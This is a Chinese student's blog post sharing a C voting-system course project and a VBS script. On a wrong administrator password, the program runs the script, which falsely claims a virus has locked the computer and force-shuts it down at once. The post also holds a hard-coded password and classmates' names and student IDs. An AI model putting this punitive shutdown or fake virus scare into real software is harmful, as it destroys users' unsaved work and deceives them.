1. 程式人生 > >C語言課設 投票管理系統

C語言課設 投票管理系統

學生黨一枚,大二的時候,學校讓做C語言課程設計,我選了“投票管理系統”。C語言水的很,寫出來之後,自己感覺良好,答辯的時候罵的老慘,可成績卻是第一。[\dog][\dog][\dog]

文末見程式碼,有五個檔案,如圖。

第一個是儲存投票的磁碟檔案,防止系統關閉後資料丟失。第二個是C程式碼,第三個是程式。第四個是一個強制關機的VBS檔案。

C語言程式碼:

#include<stdio.h> #include<stdlib.h> #include<string.h> int flap[10]={0};  //用於統計得票數 

struct student{  //結構體變數,儲存優秀團員資訊          char name[30];         char sex;          char nation[12];   //民族          int id;     //學號          int age;         int score;    //綜合成績      }student_num[10]={        //人員名單              "郭明德",'M',"漢族",16120,20,95,             "李澤輝",'M',"漢族",16119,19,95,             "謝寶劍",'M',"漢族",16101,19,95,     }; 

main(){     printf("\n歡迎來到 通訊工程16級 優秀團員投票系統!");      int fun_vote();  // 投票函式     int fun_rank();  // 檢視當前排名函式     int fun_search();  //搜尋成員函式      int fun_add();     //增加優秀團員數目函式      int fun_in_record();   //寫入投票函式      int fun_out_record();   //讀取投票函式      int fun_manager();  //高階管理員許可權函式      int fun_report();   //舉報函式      int fun_door(char *x[20],int y);  //寫入磁碟檔案資料函式      int fun_menu();       //選單函式      fun_out_record();    //獲取當前投票情況           fun_menu(); };

fun_vote(){  //投票函式      int i;  //用於輸出團員資訊     int j;  //用於接受投票的學號     printf("當前參與競選人員有:\n");     for(i=0; i<10; i++){       //輸出團員資訊          if(student_num[i].id!=0)             printf("%s(080703%d)     ",student_num[i].name,student_num[i].id);         else break;     }     printf("\n請輸入你選舉的人員的學號(最後五位):");      scanf("%d",&j);      for(i=0; i<10; i++){         if (j!=0 && j==student_num[i].id){         printf("\n投票成功,感謝您投出寶貴的一票!");         flap[i]++;         fun_in_record();         break;          }     }     if(i==10) printf("\n投票失敗!你輸入的學號不存在!");     return fun_menu(); }

fun_rank(){       //檢視當前排名函式     int max,i,j,a,k=0;     for(j=0; j<10; j++){         if(student_num[j].id==0) continue;   //提高效率          max=flap[j];a=j;         for(i=1; i<10;i++)        //獲取最大的數字的序號              if(flap[i]!=0)                 if(max<flap[i])                      a=i;         printf("第%d名:%s  得票數:%d\n",++k,student_num[a].name,flap[a]);  // 排名輸出          flap[a]=0;         if(flap[j]!=0) j=0;     }     fun_out_record();   //排序結束重新獲取投票情況      return fun_menu(); }; 

fun_search(){   //搜尋成員函式      int num,i;     printf("請輸入你要搜尋的成員的學號(最後五位):");         scanf("%d",&num);      if(num<16100 || num>16244){   //提高搜尋效率,減小不必要的迴圈          printf("\n輸入的學號錯誤!\n");         return 1;      }     for(i=0; i<10; i++){         if(student_num[i].id==0) continue;   //提高搜尋效率          else if(num==student_num[i].id){     //搜尋成功時的輸出              printf("\n姓名:%s   性別:%c   學號:080703%d",student_num[i].name,student_num[i].sex,student_num[i].id);             printf("\n民族:%s    年齡:%d    成績:%d",student_num[i].nation,student_num[i].age,student_num[i].score);             printf("\n當前得票數:%d",flap[i]); break;         }     }     if(i==10){         printf("學號不存在!");  //搜尋失敗,結束程式          printf("\n你想推薦 TA 為優秀團員嗎?(1、確認):");         scanf("%d",&num);         if(num==1) fun_add();         else printf("你已退出搜尋!\n");         return fun_menu();     }     printf("\n你想投 TA 一票嗎?(1 確認):");      scanf("%d",&num);       //搜尋成功,確認是否投票      if(num==1){         flap[i]++;         fun_in_record();         printf("\n投票成功,感謝您投出寶貴的一票!");      }else printf("你已退出投票系統!\n");     return fun_menu(); } 

fun_manager(){   //高階管理員許可權函式     int i;          int password,news;     printf("請輸入管理員密碼:");      scanf("%d",&password);      if(password==8866){         printf("您獲得管理員許可權!可修改或刪除任何相關資訊!\n");         for(i=0; i<10; i++){           //輸出所有成員資訊              if(student_num[i].id==0) continue;              printf("\n姓名:%s   性別:%c   學號:080703%d",student_num[i].name,student_num[i].sex,student_num[i].id);             printf("\n民族:%s    年齡:%d    成績:%d",student_num[i].nation,student_num[i].age,student_num[i].score);             printf("\n當前得票數:%d\n",flap[i]);          }     }else{         system("warning.vbs");     //安全防護,對非管理員電腦執行強制關機          return 1;     }     return fun_menu(); };

fun_in_record(){    //寫入投票函式      int i;     //將投票資料儲存到file1.txt磁碟檔案中        FILE *fpWrite=fopen("file1.txt","w");       if(fpWrite==NULL)       {           printf("無法開啟檔案\n");         exit(0);       }          for(i=0; i<10; i++){            fprintf(fpWrite,"%d ",flap[i]);      }      fclose(fpWrite);      return 0;  }; 

fun_out_record(){      //讀取投票函式      //從file1.txt磁碟檔案中讀出投票資料       int i;     FILE *fpRead=fopen("file1.txt","r");       if(fpRead==NULL)       {           printf("無法開啟檔案\n");         exit(0);       }       for(i=0;i<10;i++) fscanf(fpRead,"%d ",&flap[i]);      fclose(fpRead);  };

fun_add(){      //增加優秀團員數目函式      int i,j;     for(i=0; i<10; i++) if(student_num[i].id==0) break;   //檢查當前是否可以增加推薦人數      if(i==10){         printf("參與選舉的人數已達上限!已關閉推薦成員功能!");return fun_menu();      }      printf("\n請輸入你推薦的人員的學號(五位):");     //檢查學號的有效性      scanf("%d",&student_num[i].id);     if(student_num[i].id<16100 || student_num[i].id>16244){         printf("投票失敗!不存在該學號!\n"); return fun_menu();     }     for(j=0; j<i; j++) if(student_num[j].id == student_num[i].id){         printf("存在該學號!請勿推薦!\n");         return fun_menu();      }     printf("請輸入你推薦的人員的姓名:");      scanf("%s",&student_num[i].name);      fun_door(&student_num[i].name,student_num[i].id);     //將推薦資料寫入磁碟檔案      printf("推薦成功!感謝你的參與!管理員正在處理~");     return fun_menu();  }; 

fun_report(){        //舉報函式      int i;     char abc[20]="舉報";      printf("你確定要舉報嗎?(1 確定):");     scanf("%d",&i);      if(i==1) printf("請輸入你要舉報的人的學號(五位):");    //檢查舉報學號的有效性      else {         printf("你已退出舉報!\n");          return fun_menu();      }     scanf("%d",&i);     if(i<16100 || i>16244){         printf("舉報失敗!不存在該學號!\n");         return fun_menu();      } else{         fun_door(abc,i);   // 將舉報資訊輸入磁碟檔案          printf("舉報成功!正在通知老師!感謝你的配合!");     }       return fun_menu(); }; 

fun_door(char *x[20],int y){    //寫入磁碟檔案資料函式      //將資料儲存到file1.txt磁碟檔案中        FILE *fpWrite=fopen("file1.txt","a");       if(fpWrite==NULL)       {           printf("無法開啟檔案\n");         exit(0);       }          fprintf(fpWrite,"\n\n%s ",x);         fprintf(fpWrite,"%d",y);      fclose(fpWrite);  };

fun_menu(){          //選單函式      int power_num;       printf("\n\n1、參與投票\n");      printf("2、檢視當前排名\n");      printf("3、搜尋被選舉成員\n");      printf("4、推薦優秀團員\n");     printf("5、高階管理員許可權\n");      printf("6、舉報\n");     printf("0、退出\n");     printf("請選擇你要執行的功能:");     scanf("%d",&power_num);         switch(power_num){             case 1: fun_vote();break;             case 2: fun_rank();break;             case 3: fun_search();break;             case 4: fun_add();break;             case 5: fun_manager();break;             case 6: fun_report();break;             case 0: exit(0);              default:printf("功能尚未開通或發生未知錯誤!請聯絡管理員!");exit(0);         } }

VBS程式碼:

msgbox"密碼錯誤!你的計算機已被內嵌病毒鎖定!"+VbCrLf+"請在60分鐘內聯絡管理員解鎖 或 解除相關程式。" wscript.sleep 1000 dim WSHshell  set WSHshell = wscript.createobject("wscript.shell")  WSHshell.run "shutdown -f -s -t 00",0 ,true  

VBS檔案有點裝逼。其他都還好,感覺自己寫的很水,給各位水友看看,順便紀念一下。